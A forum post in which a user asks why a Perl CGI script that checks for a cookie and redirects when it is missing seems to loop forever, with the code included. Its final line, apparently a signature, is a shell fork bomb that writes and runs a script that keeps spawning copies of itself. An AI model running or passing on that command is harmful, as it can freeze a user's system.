Hi all, I'm trying to write some CGI code. Need to look and see if a cookie is set; if not, set it and redirect back to the URL. Here's the piece of test code I have. When I run it, it hangs forever, so I'm assuming it's stuck in a loop.
Can anyone tell me where I went wrong?
use strict;
use CGI;
use CGI::Carp qw(fatalsToBrowser);
# New CGI object
my $q = new CGI;
my $test = $q->cookie("test");
if (defined $test) {
print $q->header;
print $q->start_html('Test stuff');
print "<BR><BR>\n";
print "I got cookie value: $test<BR>\n";
print $q->end_html;
} else {
my $cookie = $q->cookie(-name => 'test',
-value => 'test value');
print $q->redirect (-cookie => $cookie, -uri => $q->self_url());
}
Thanks!
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;